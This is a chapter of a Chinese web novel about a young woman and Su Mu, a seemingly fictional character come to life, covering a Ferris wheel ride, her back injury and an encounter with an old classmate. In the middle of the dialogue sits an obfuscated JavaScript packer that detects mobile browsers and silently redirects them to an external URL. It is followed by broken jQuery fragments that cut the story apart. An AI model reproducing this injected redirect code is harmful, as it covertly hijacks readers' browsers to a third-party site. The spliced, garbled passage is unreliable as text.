文趣网 > 其他小说 > 这奖品能退吗? > 28. 熟人?
    其实这些天她也心慌意乱的。

    也许是天意,事赶事的,自己也没有心思静下来仔细思考。

    思考她与苏暮的关系。

    先前只是迫于无奈接受了沈确带给她的先入为主的观念。

    索性也就自欺欺人的享受着苏暮对她的好。

    可。

    她真的值得吗。

    而且她从那天开始脑子里便产生了一个疑问,现如今苏暮对她的感情究竟是出于自己的真心还是被沈确洗了脑。

    毕竟他是个人啊,那所谓程序使然这事压根就不成立了不是吗。

    莫非是一见钟情?可她并没有任何过人之处。

    或许他真的只是被沈确洗了脑,等到他自己某日知道了真相,这份感情也会随之东流。

    内心有点伤感,同时又有些为他感到开心。

    等到那时,他就会认清自己的内心,然后去寻找真正属于自己的幸福吧,而不是和她这样平平无奇的人在一起。

    她还是继续爱着她的纸片人比较好,现实中的感情不属于她这种死宅。

    很快,摩天轮就快转到最高点。

    “别忘了许愿。”

    虽然没有任何科学依据,但人终究需要些虚假的念想不是吗。

    “嗯。”

    他应着点了点头,但其实眼神始终没离开过初晚黎的身上,看着她悄然闭上眼,不知道在心里许了什么愿。

    自己也随后闭上,诚恳许了个愿。

    ...

    夕阳的最后一抹紫红也从幕布上褪去色彩,暮色四合,取而代之的是片幽蓝。

    四周很静,甚至能听得见摩天轮转动时所发出的细微声响。

    俩人就这样各有所思,颇有默契的保持着安静直到下去。

    …

    “累死了~”她都不知道自己后来这一路是怎么回的家。

    只能说自己低估了游乐园的影响力,本来那路段常年冷冷清清。

    自从游乐园开业后,那里就常年成为拥挤路段。

    她知道,但也没想到会夸张到如此。

    看着车外道路旁来往的行人,她觉得或许俩人选择下车走路还能快些。

    她看向一旁的苏暮,似是什么心灵感应,对方也同时看向了她,回以了一个微笑。

    初晚黎有点不自在尬笑,赶忙转开脸,同时又开始了自己丰富的内心戏。

    对于苏暮她倒是由衷的佩服,俩人年岁相近,也是同时游玩的项目,为什么她如同泄了气的皮球,但对方看起来依旧神采奕奕,甚至还能保持风度依旧。

    不仅开始怀疑自己的身体素质。

    的确自从上了大学后的这几年越来越宅,也开始不爱出门,难道就是因此,她的体力在不知不觉之中变得如此之差了吗。

    有些不甘心,也不知是怎么就激起了胜负欲,她看着窗外,泄恨般咬着自己无辜的指甲。

    从明天开始,她就要开始锻炼!

    …

    踏入家门的那一刻,家中熟悉的气息让她整个人都松懈了下来。

    尤其在她倒在沙发后,看到了从卧室里刚出来,赶忙伸着懒腰的木木后,疲惫更是散了大半。

    也顾不得腰酸背痛的脆皮身子骨,蹭着地小步挪到了木木身边,准备起身抱起。

    “嘎巴。”

    是什么错位的声音。

    “啊~”

    腰折了。

    …

    理所当然的,苏暮再次承担了照顾初晚黎的任务。

    不过话又说回来了,好像自从他出现,早就下意识开始这么做了。

    他乐此不疲,初晚黎更是巴不得有个人来料理她的起居。

    本来就是个纠结的人,与其每天花大量时间去思考吃什么喝什么,倒不如给她安排好,自己这样还能多些时间去摸鱼赚点小钱。

    不过也不是没主见啦,偶尔有想吃的,她也会主动提出。

    但她能如此松弛,也只是因为对方是苏暮。

    她知道对方不会强行把自己的意愿和想法强压给她,而不是像那些人。

    …

    因为初晚黎小时候更是个不争不抢的性格,可以称得上随性,大部分时候,为了保持关系的体面,基本都会去迎合别人想法。

    她以为这样就可以保持关系的和谐,但没想到的是,往往这样带来的只会是别人的不尊重,不体谅。

    好像这样做,是她天生的义务,她本就不该有自己的想法,就该去乖乖听那些亲戚朋友的。

    更甚的是,当她意识到不对劲开始反抗时,那些人就开始拿出一副高高在上的嘴脸。

    “这可都是为你好。”

    “你涉世不深,不懂。”

    “你信我,这个更好。”

    …

    好像,对方也没敌意?

    她准备进攻的火焰被浇灭,好似自己才是做了什么坏事的家伙。

    隐约察觉到不对劲却又说不出个所以然。

    直到初晚黎长大,才发现自己是那个大傻子。

    人活着,能不知道自己喜欢什么吗?哪需要别人去评判这些?人生在世,若是自己都不了解自己,那更不可能有另一个人懂自己了。

    周围的纷纷扰扰无非是对方用自己的想法和眼光在片面的看待另一个人,谁能保证这评价里不带有自我的主观色彩。

    所以她也学会了数起高墙,屏蔽周围一些声音。

    她可以待人接物平和,但不代表没有底线,更不能因此成为别人伤害她的理由。

    …

    “小帅哥,又来了呀。”

    苏暮早就和市场的大爷大妈们混了个脸熟。

    “是呀。”他微笑回应,开始仔细挑选蔬菜。

    “你女朋友真是好运气啊,找了你这么个会持家的。”

    “因为她本就是个很好的人啊。”他听到对方夸赞初晚黎,心中自也是感到开心,今日便在这家多买了些。

    “瞧瞧,这嘴巴还甜。”

    “是啊,哪像我家那糟老头子,每天躺家里就会伸手要饭。”隔壁年岁稍长的婆婆接过话,深深叹了口气。

    “所以找人要慎重啊。”

    …

    他本像之前一样,买完就准备匆匆回家,毕竟家里有心心念念的人,尤其她最近受伤后,跟导师那里也请了假,除开他买菜扔垃圾的时间,俩人几乎可以无时无刻粘在一起。

    对苏暮而言,这时间可太珍贵了,得好好珍惜才是。

    “苏,苏暮?”有人叫住了他,声音颤颤巍巍的。

    “苏暮!”

    想装作听不见,但对方又喊了他几句,而且听起来像是确认了什么一样,喊的声音都坚定了些。

    转过身,居然是之前有过一面之缘的家伙,上次初晚黎参加同学会的同学。

    好像上次也是他,那个同学A,当时看到自己露出了如同见到鬼的表情。

    “请问,有事吗?”他眉眼弯弯,一副亲切的模样。

    “你真的是苏暮?”

    “我认识你吗?”他依旧保持那副风度翩翩的样子,可说出的内容听起来并不友好。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601586|203617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “不,你先回答我。”没想到对方如此无礼,“不是他的兄弟之类的吧。”

    同学A还绕着他看了一圈,眼睛和头就在那不停转。

    “请问。”他往外跨了一步,不想离对方那么近,“我们很熟吗。”

    “不熟不熟,但我认识你。”

    ?

    这算什么回答。

    “鼎鼎有名的校草级人物啊。”

    苏暮搞不懂这人的脑回路,他的确有沈确植入的人设,但自己也自知绝不可能和现实中真正存在的人类搭上关系啊。

    “不好意思我还有事。”苏暮用手肘推开他,准备大步一迈。

    谁知对方是个犟种,竟然扯住了他的胳膊。

    “请你松手。”语气犀利,看向他的眼神也锐利了起来,刚刚一副温柔的面容此刻完全变了神态。

    看起来,甚至有点杀气。

    “我。”同学A被这气势震住了,但恢复理智后又开始不依不饶,“那你到底是不是。”

    苏暮也不讲客气了,控制住力度拍开了他的手,“我是叫这名,但不是你口中的那个人。”

    也不知道是得到了想要的答案,还是不敢再招惹,同学A也没再向前,愣在了原地。

    “肯定是他。”默默自言自语了一句。

    …

    “我回来了。”

    “回来啦?”声音幽幽的,似乎是从卧室传来的。

    ”苏暮提着菜,赶忙往门口一放,就快步走去,然后故作随意敲了下门。

    “请进。”

    “又在工作了?”

    只见初晚黎那叫一个身残志坚,整个人靠在床的靠背上,腰后垫了个枕头,但显然并不太管用的样子,拿着平板,左手数位笔,右手不停戳着屏幕。

    “是呀。”心不在焉回应着他。

    “腰会不舒服吗。”

    苏暮有些担心,本就有伤在身需要好好休息,她还工作不停,但又害怕自己干涉太多惹得初晚黎讨厌。

    整个人虽是站在原地看起来镇定,但此刻的内心可以说是踌躇不安了。

    “呃。”她这才放下笔,用笔的尾端戳在嘴边,好似自己是在回答什么世纪难题,“不会。”

    他轻叹口气,以这段时间自己对初晚黎的了解,这真相绝不是如她回答的那样,但又不好去戳穿她这故作没事的伪装。

    苏暮没再说什么,只是长腿一迈离开了房间,初晚黎也不在意耸耸肩,然后眼睛又盯回屏幕,仿佛要把那画盯出个洞。

    倒也没过多久,那人就风尘仆仆站在了门前,她闻声看去,只见苏暮双手都没得闲,看起来是把沙发上的抱枕都薅了过来。

    “这是?”她还有点懵。

    他走到床边,轻轻推开初晚黎,然后往她腰后塞了个抱枕。

    “谢谢?”

    “会好点吗?”

    “嗯。”

    她刚刚一人在家,腰伤的缘故,随意移动下都会扯着痛,干脆也就放弃了找个合适尺寸靠垫的想法,将旁边的枕头抵在了腰后。

    反正有比没有强。

    但没想到苏暮敏锐的察觉到了。

    她一双眼看着他,也不知道在想什么,只是看着他。

    此刻倒是惹的苏暮有些不适应。

    初晚黎不知。

    不知道他的这份好可以持续多久。

    自己也知自己那别扭的性子。

    明明想要别人知道,想要别人可以多关心她一分。

    可,话到嘴边,就会变成那一句,“没事。”